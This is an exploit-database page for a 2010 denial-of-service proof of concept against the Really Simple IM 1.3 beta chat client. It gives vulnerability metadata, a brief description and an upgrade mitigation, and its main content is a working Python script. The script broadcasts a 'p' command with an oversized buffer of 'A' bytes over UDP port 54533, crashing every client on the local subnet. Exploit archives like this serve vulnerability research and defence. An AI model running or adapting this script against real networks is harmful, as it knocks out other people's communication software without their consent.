header-logo
Suggest Exploit
vendor:
Really Simple IM
by:
loneferret
7,5
CVSS
HIGH
Denial of Service (DoS)
400
CWE
Product Name: Really Simple IM
Affected Version From: 1.3 beta
Affected Version To: 1.3 beta
Patch Exists: YES
Related CWE: N/A
CPE: a:reallysimpleim:really_simple_im:1.3beta
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows XP Professional SP2-SP3 & Windows XP Home SP3
2010

DoS proof of concept

This proof of concept exploits a vulnerability in Really Simple IM version 1.3 beta, which uses UDP to send and receive messages. It broadcasts everything, and picks up everything on port 54533. The exploit sends a 'p' command with a buffer of 'W00T' followed by 10000 'A' characters, which causes all clients in the same subnet to crash.

Mitigation:

Upgrade to the latest version of Really Simple IM.
Source

Exploit-DB raw data:

#!/usr/bin/python

import socket
import sys

# Bug found: 18th July 2010
# DoS proof of concept
# Found  by: loneferret
# Tested on Windows XP Professional SP2-SP3 & Windows XP Home SP3 

# Really Simple IM verion 1.3 beta
# Software: http://code.google.com/p/reallysimpleim/
# Nods to exploit-db
# I don't want this on injector <- notice the no leet talk.

# This little application uses UDP to & send receive messages.
# It broadcasts everything, and picks up everything
# on port 54533.
# The funny thing with this PoC, it will crash all clients
# in the same subnet. Yup it's that funny. That's the only thing it does too...
# No EIP, no SEH but the buffer is still in memory at the
# moment of the crash. Figured I'd share anyway.


#Commands
# 'p' Connect and adds users to list
# 'a' Disconnect message
# 'b' Send message
# 't' Direct message

host = '192.168.xxx.255'  #Adjust broadcast address to your network
port = 54533

buffer



try:
   s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
   s.bind((host,0))
   s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
except:
   print "socket() failed"
   sys.exit(1)

da = "p"
da += "W00T" + ("\x41" * 10000)
s.sendto(da, (host, port))